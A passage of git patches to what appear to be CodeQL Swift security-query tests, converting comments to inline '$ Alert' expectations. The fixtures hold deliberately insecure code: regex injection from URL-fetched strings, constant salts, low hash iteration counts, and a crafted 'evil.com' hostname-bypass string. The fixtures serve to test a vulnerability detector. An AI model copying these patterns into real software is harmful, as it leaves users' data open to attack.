| user-provided value | +| tests.swift:167:17:167:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:167:17:167:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:170:17:170:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:170:17:170:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:173:17:173:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:173:17:173:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:176:17:176:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:176:17:176:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:179:17:179:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:179:17:179:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:182:17:182:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:182:17:182:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:185:17:185:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:185:17:185:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:190:21:190:21 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:190:21:190:21 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | edges | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:101:16:101:16 | taintedString | provenance | | | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:104:16:104:40 | ... .+(_:_:) ... | provenance | | @@ -48,27 +72,3 @@ nodes | tests.swift:185:17:185:17 | taintedString | semmle.label | taintedString | | tests.swift:190:21:190:21 | taintedString | semmle.label | taintedString | subpaths -#select -| tests.swift:101:16:101:16 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:101:16:101:16 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:104:16:104:40 | ... .+(_:_:) ... | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:104:16:104:40 | ... .+(_:_:) ... | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:106:16:106:16 | "..." | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:106:16:106:16 | "..." | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:109:16:109:39 | ... ? ... : ... | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:109:16:109:39 | ... ? ... : ... | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:110:16:110:37 | ... ? ... : ... | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:110:16:110:37 | ... ? ... : ... | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:113:24:113:24 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:113:24:113:24 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:114:45:114:45 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:114:45:114:45 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:120:19:120:19 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:120:19:120:19 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:126:40:126:40 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:126:40:126:40 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:131:39:131:39 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:131:39:131:39 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:137:40:137:40 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:137:40:137:40 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:144:16:144:16 | remoteInput | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:144:16:144:16 | remoteInput | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:147:39:147:39 | regexStr | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:147:39:147:39 | regexStr | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:162:17:162:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:162:17:162:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:164:17:164:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:164:17:164:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:167:17:167:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:167:17:167:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:170:17:170:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:170:17:170:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:173:17:173:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:173:17:173:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:176:17:176:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:176:17:176:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:179:17:179:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:179:17:179:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:182:17:182:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:182:17:182:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:185:17:185:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:185:17:185:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | -| tests.swift:190:21:190:21 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:190:21:190:21 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | diff --git a/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref b/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref index 6171cd82074..edd571a6692 100644 --- a/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref +++ b/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref @@ -1 +1,2 @@ -queries/Security/CWE-730/RegexInjection.ql +query: queries/Security/CWE-730/RegexInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-730/tests.swift b/swift/ql/test/query-tests/Security/CWE-730/tests.swift index 234821d46ac..8de36a7f9f3 100644 --- a/swift/ql/test/query-tests/Security/CWE-730/tests.swift +++ b/swift/ql/test/query-tests/Security/CWE-730/tests.swift @@ -92,59 +92,59 @@ extension String { func regexInjectionTests(cond: Bool, varString: String, myUrl: URL) throws { let constString = ".*" - let taintedString = String(contentsOf: myUrl) // tainted + let taintedString = String(contentsOf: myUrl) // $ Source // tainted // --- Regex --- _ = try Regex(constString).firstMatch(in: varString) _ = try Regex(varString).firstMatch(in: varString) - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert _ = try Regex("(a|" + constString + ")").firstMatch(in: varString) - _ = try Regex("(a|" + taintedString + ")").firstMatch(in: varString) // BAD + _ = try Regex("(a|" + taintedString + ")").firstMatch(in: varString) // $ Alert _ = try Regex("(a|\(constString))").firstMatch(in: varString) - _ = try Regex("(a|\(taintedString))").firstMatch(in: varString) // BAD + _ = try Regex("(a|\(taintedString))").firstMatch(in: varString) // $ Alert _ = try Regex(cond ? constString : constString).firstMatch(in: varString) - _ = try Regex(cond ? taintedString : constString).firstMatch(in: varString) // BAD - _ = try Regex(cond ? constString : taintedString).firstMatch(in: varString) // BAD + _ = try Regex(cond ? taintedString : constString).firstMatch(in: varString) // $ Alert + _ = try Regex(cond ? constString : taintedString).firstMatch(in: varString) // $ Alert _ = try (cond ? Regex(constString) : Regex(constString)).firstMatch(in: varString) - _ = try (cond ? Regex(taintedString) : Regex(constString)).firstMatch(in: varString) // BAD - _ = try (cond ? Regex(constString) : Regex(taintedString)).firstMatch(in: varString) // BAD + _ = try (cond ? Regex(taintedString) : Regex(constString)).firstMatch(in: varString) // $ Alert + _ = try (cond ? Regex(constString) : Regex(taintedString)).firstMatch(in: varString) // $ Alert // --- RangeReplaceableCollection --- var inputVar = varString inputVar.replace(constString, with: "") - inputVar.replace(taintedString, with: "") // BAD + inputVar.replace(taintedString, with: "") // $ Alert inputVar.replace(constString, with: taintedString) // --- StringProtocol --- _ = inputVar.replacingOccurrences(of: constString, with: "", options: .regularExpression) - _ = inputVar.replacingOccurrences(of: taintedString, with: "", options: .regularExpression) // BAD + _ = inputVar.replacingOccurrences(of: taintedString, with: "", options: .regularExpression) // $ Alert // --- NSRegularExpression --- _ = try NSRegularExpression(pattern: constString).firstMatch(in: varString, range: NSMakeRange(0, varString.utf16.count)) - _ = try NSRegularExpression(pattern: taintedString).firstMatch(in: varString, range: NSMakeRange(0, varString.utf16.count)) // BAD + _ = try NSRegularExpression(pattern: taintedString).firstMatch(in: varString, range: NSMakeRange(0, varString.utf16.count)) // $ Alert // --- NSString --- let nsString = NSString(string: varString) _ = nsString.replacingOccurrences(of: constString, with: "", options: .regularExpression, range: NSMakeRange(0, nsString.length)) - _ = nsString.replacingOccurrences(of: taintedString, with: "", options: .regularExpression, range: NSMakeRange(0, nsString.length)) // BAD + _ = nsString.replacingOccurrences(of: taintedString, with: "", options: .regularExpression, range: NSMakeRange(0, nsString.length)) // $ Alert // --- from the qhelp --- let remoteInput = taintedString let myRegex = ".*" - _ = try Regex(remoteInput) // BAD + _ = try Regex(remoteInput) // $ Alert let regexStr = "abc|\(remoteInput)" - _ = try NSRegularExpression(pattern: regexStr) // BAD + _ = try NSRegularExpression(pattern: regexStr) // $ Alert _ = try Regex(myRegex) @@ -159,35 +159,35 @@ func regexInjectionTests(cond: Bool, varString: String, myUrl: URL) throws { let okSet: Set = ["abc", "def"] if (taintedString == okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } else { - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert } if (taintedString != okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert } if (varString == okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert } if (okInputs.contains(taintedString)) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if (okInputs.firstIndex(of: taintedString) != nil) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if let index = okInputs.firstIndex(of: taintedString) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if let index = okInputs.index(of: taintedString) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } if (okSet.contains(taintedString)) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // $ Alert // GOOD (effectively sanitized by the check) [FALSE POSITIVE] } // --- multiple evaluations --- - let re = try Regex(taintedString) // BAD + let re = try Regex(taintedString) // $ Alert _ = try re.firstMatch(in: varString) // (we only want to flag one location total) _ = try re.firstMatch(in: varString) } diff --git a/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref b/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref index 04aadc2161f..dd7c483b0af 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref +++ b/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref @@ -1 +1,2 @@ -queries/Security/CWE-760/ConstantSalt.ql +query: queries/Security/CWE-760/ConstantSalt.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift index 51265b16c45..228e1231c99 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift @@ -56,27 +56,27 @@ func test(myPassword: String) { let myIV = Data(0) let myRandomSalt1 = Data(getARandomString()) let myRandomSalt2 = Data(getARandomString()) - let myConstantSalt1 = Data("abcdef123456") - let myConstantSalt2 = Data(0) + let myConstantSalt1 = Data("abcdef123456") // $ Source + let myConstantSalt2 = Data(0) // $ Source let _ = myEncryptor.key(forPassword: myPassword, salt: myRandomSalt1, settings: myKeyDerivationSettings) // GOOD - let _ = myEncryptor.key(forPassword: myPassword, salt: myConstantSalt1, settings: myKeyDerivationSettings) // BAD + let _ = myEncryptor.key(forPassword: myPassword, salt: myConstantSalt1, settings: myKeyDerivationSettings) // $ Alert let _ = myEncryptor.keyForPassword(myPassword, salt: myRandomSalt2, settings: myKeyDerivationSettings) // GOOD - let _ = myEncryptor.keyForPassword(myPassword, salt: myConstantSalt2, settings: myKeyDerivationSettings) // BAD + let _ = myEncryptor.keyForPassword(myPassword, salt: myConstantSalt2, settings: myKeyDerivationSettings) // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myRandomSalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2, handler: myHandler) // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2, handler: myHandler) // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myRandomSalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2, handler: myHandler) // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2, handler: myHandler) // $ Alert let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myRandomSalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2) // BAD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2) // $ Alert + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2) // $ Alert let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myRandomSalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2) // BAD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2) // $ Alert + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2) // $ Alert // appending constants let _ = myEncryptor.key(forPassword: myPassword, salt: Data(getARandomString() + getARandomString()), settings: myKeyDerivationSettings) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-760/test.swift b/swift/ql/test/query-tests/Security/CWE-760/test.swift index 434e2daf6da..2ad979a1fbe 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-760/test.swift @@ -26,7 +26,7 @@ final class Scrypt { // Helper functions func getConstantString() -> String { - "this string is constant" + "this string is constant" // $ Source } func getConstantArray() -> Array { @@ -40,7 +40,7 @@ func getRandomArray() -> Array { // --- tests --- func test() { - let constantSalt: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] + let constantSalt: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] // $ Source let constantStringSalt = getConstantArray() let randomSalt = getRandomArray() let randomArray = getRandomArray() @@ -48,23 +48,23 @@ func test() { let iterations = 120120 // HKDF test cases - let hkdfb1 = HKDF(password: randomArray, salt: constantSalt, info: randomArray, keyLength: 0, variant: variant) // BAD - let hkdfb2 = HKDF(password: randomArray, salt: constantStringSalt, info: randomArray, keyLength: 0, variant: variant) // BAD + let hkdfb1 = HKDF(password: randomArray, salt: constantSalt, info: randomArray, keyLength: 0, variant: variant) // $ Alert + let hkdfb2 = HKDF(password: randomArray, salt: constantStringSalt, info: randomArray, keyLength: 0, variant: variant) // $ Alert let hkdfg1 = HKDF(password: randomArray, salt: randomSalt, info: randomArray, keyLength: 0, variant: variant) // GOOD // PBKDF1 test cases - let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // BAD - let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // BAD + let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // $ Alert + let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // $ Alert let pbkdf1g1 = PKCS5.PBKDF1(password: randomArray, salt: randomSalt, iterations: iterations, keyLength: 0) // GOOD // PBKDF2 test cases - let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // BAD - let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // BAD + let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // $ Alert + let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // $ Alert let pbkdf2g1 = PKCS5.PBKDF2(password: randomArray, salt: randomSalt, iterations: iterations, keyLength: 0) // GOOD // Scrypt test cases - let scryptb1 = Scrypt(password: randomArray, salt: constantSalt, dkLen: 64, N: 16384, r: 8, p: 1) // BAD - let scryptb2 = Scrypt(password: randomArray, salt: constantStringSalt, dkLen: 64, N: 16384, r: 8, p: 1) // BAD + let scryptb1 = Scrypt(password: randomArray, salt: constantSalt, dkLen: 64, N: 16384, r: 8, p: 1) // $ Alert + let scryptb2 = Scrypt(password: randomArray, salt: constantStringSalt, dkLen: 64, N: 16384, r: 8, p: 1) // $ Alert let scryptg1 = Scrypt(password: randomArray, salt: randomSalt, dkLen: 64, N: 16384, r: 8, p: 1) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref b/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref index 81a6dda0d0f..66492b8441e 100644 --- a/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref +++ b/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref @@ -1 +1,2 @@ -queries/Security/CWE-916/InsufficientHashIterations.ql +query: queries/Security/CWE-916/InsufficientHashIterations.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-916/test.swift b/swift/ql/test/query-tests/Security/CWE-916/test.swift index 8786d936c1d..5c63fc35265 100644 --- a/swift/ql/test/query-tests/Security/CWE-916/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-916/test.swift @@ -17,7 +17,7 @@ extension PKCS5 { } // Helper functions -func getLowIterationCount() -> Int { return 99999 } +func getLowIterationCount() -> Int { return 99999 } // $ Source func getEnoughIterationCount() -> Int { return 120120 } @@ -34,15 +34,15 @@ func test() { let enoughIterations = getEnoughIterationCount() // PBKDF1 test cases - let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // BAD - let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // BAD + let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // $ Alert + let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // $ Alert let pbkdf1g1 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: enoughIterations, keyLength: 0) // GOOD let pbkdf1g2 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: 120120, keyLength: 0) // GOOD // PBKDF2 test cases - let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // BAD - let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // BAD + let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // $ Alert + let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // $ Alert let pbkdf2g1 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: enoughIterations, keyLength: 0) // GOOD let pbkdf2g2 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: 120120, keyLength: 0) // GOOD } From b10abb63d99f788e2126aa19c7c0d29651f8d2c9 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 16 Jun 2026 00:28:40 +0100 Subject: [PATCH 135/143] Add SPURIOUS and MISSING to some comments --- .../Security/CWE-020/SemiAnchoredRegex.swift | 2 +- .../Security/CWE-020/UnanchoredUrlRegex.swift | 14 +++++------ .../query-tests/Security/CWE-020/test.swift | 16 ++++++------- .../query-tests/Security/CWE-089/other.swift | 6 ++--- .../CWE-134/UncontrolledFormatString.swift | 2 +- .../Security/CWE-311/testAlamofire.swift | 24 +++++++++---------- .../Security/CWE-311/testCoreData.swift | 12 +++++----- .../Security/CWE-311/testCoreData2.swift | 14 +++++------ .../Security/CWE-311/testRealm2.swift | 4 ++-- .../Security/CWE-311/testSwiftUI.swift | 2 +- .../Security/CWE-311/testURL.swift | 20 ++++++++-------- .../Security/CWE-328/testCryptoKit.swift | 2 +- .../query-tests/Security/CWE-730/tests.swift | 12 +++++----- .../Security/CWE-760/rncryptor.swift | 4 ++-- 14 files changed, 67 insertions(+), 67 deletions(-) diff --git a/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift b/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift index d5d2f68be48..d588e1d6439 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift @@ -104,7 +104,7 @@ func realWorld(input: String) throws { _ = try Regex(#"^mouse|touch|click|contextmenu|drop|dragover|dragend"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex(#"^xxx:|yyy:"#).ignoresCase().firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex(#"_xxx|_yyy|_zzz$"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) - _ = try Regex(#"em|%$"#).firstMatch(in: input) // BAD (missing anchor) [NOT DETECTED] - not flagged at the moment due to the anchor not being for letters + _ = try Regex(#"em|%$"#).firstMatch(in: input) // $ MISSING: Alert[swift/missing-regexp-anchor] // BAD (missing anchor) [NOT DETECTED] - not flagged at the moment due to the anchor not being for letters // the following are MAYBE OK due to apparent complexity; not flagged _ = try Regex(#"(?:^[#?]?|&)([^=&]+)(?:=([^&]*))?"#).firstMatch(in: input) diff --git a/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift b/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift index d096338401f..683fc7213c3 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift @@ -104,25 +104,25 @@ func tests(url: String, secure: Bool) throws { _ = try NSRegularExpression(pattern: "verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: #"\.com|\.org"#).matches(in: input, range: inputRange) // OK, has no domain name - _ = try NSRegularExpression(pattern: #"example\.com|whatever"#).matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // OK, the other disjunction doesn't match a hostname [FALSE POSITIVE] + _ = try NSRegularExpression(pattern: #"example\.com|whatever"#).matches(in: input, range: inputRange) // $ SPURIOUS: Alert[swift/missing-regexp-anchor] // OK, the other disjunction doesn't match a hostname [FALSE POSITIVE] // tests for the `isLineAnchoredHostnameRegExp` case let attackUrl1 = "evil.com/blabla?\ngood.com" let attackUrl1Range = NSMakeRange(0, attackUrl1.utf16.count) _ = try NSRegularExpression(pattern: "^good\\.com$").matches(in: attackUrl1, range: attackUrl1Range) // OK - 